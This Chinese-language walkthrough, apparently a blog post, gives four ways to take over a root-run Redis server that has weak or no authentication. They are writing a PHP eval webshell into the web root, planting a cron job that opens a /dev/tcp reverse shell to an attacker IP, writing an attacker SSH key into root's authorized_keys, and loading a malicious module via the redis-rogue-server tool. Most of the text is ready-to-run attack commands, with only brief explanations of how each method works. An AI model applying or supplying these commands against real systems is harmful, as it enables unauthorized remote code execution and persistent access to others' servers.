方式一:直接写入shell脚本
前提条件
低版本或者enable-protected-config yes
知道网站绝对路径,并且需要增删改查的权限
root权限启动redis
redis弱密码或者无密码
获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏
redis写入shell
redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['cmd']);?>"
redis:6379> save
方式二:定时任务写入反弹shell
在攻击机上监听888端口等待反弹shell
nc -lvp 6666
在redis中写入定时任务
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/6666 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
等待一段时间后,shell反弹成功
方法三:写 ssh-keygen 公钥登录服务器
原理
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
密钥验证,是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密
条件
1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录
攻击机kali生成公钥
ssh-keygen -t rsa
找到公钥文件
cd /root/.ssh
ls
cat id_rsa.pub
将公钥文件上传靶机上
redis-cli -h 192.168.33.134 #连接目标主机redis
config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n 公钥 \n\n\n" #将公钥写入xz健
save #进行保存
set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB/xUoAg9JSLUpOmh9xT5wunGPlV7+zdMHhbiphccjDn8HqRjr0EddrI6hYymaj0rcj57PQHXy0TOUP44gnVQtE0il07XHOzwvY3Suz25FE0wjK1Pb8Vsw6wU6m/GBQGXSSsui9srVA4w39yH65t4mGXnNn6H2X74x8j6csoXeDNZTNpvXgKzTA8JiczyrkxhrTQ+iR7O2ysWNkxucZCE7weD8yEqLsSpJDk37VQPqsClyK+U7uqZWEsCFmXujK/sPHPhWQ6IgmgX7JoGTATkpCRVWQh5vowznHMw2pYdwsc30+CUCzrUvQ/i1V2k3DXpVW7iqS+DDKrXp/uXRjwzDVl2w4cdBnaxxEUWf18tmObMfmITOYB/w1CLjzbVHkrzAFUpmeuptNgDedon8+FYrWiy8R7HZ1TyN5ksQ0eQUXzAoW+48qYAF6GvZFMryevfUIzAaPf6h/n8X2hPRiiTav3z4BofHPQEVwk38QQguwoKixOkgbn20+4GBD5P9/DM= root@DESKTOP-GLKEQ3E \n\n\n"
利用私钥远程登录redis的22端口
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx
服务器开启ssh
[root@host ~]# vi /etc/ssh/sshd_config
下面两行打开注释
PubkeyAuthentication yes
# 重启sshd服务
[root@host ~]# systemctl restart sshd.service
[root@host ~]# systemctl status sshd.service
方法四:Redis主从复制
原理
Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
条件
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis
kali下载利用工具
wget https://github.com/n0b0dyCN/redis-rogue-server
交互式shell
python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so
根据提示输入i进入交互shell
反弹shell
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
7044

被折叠的 条评论
为什么被折叠?



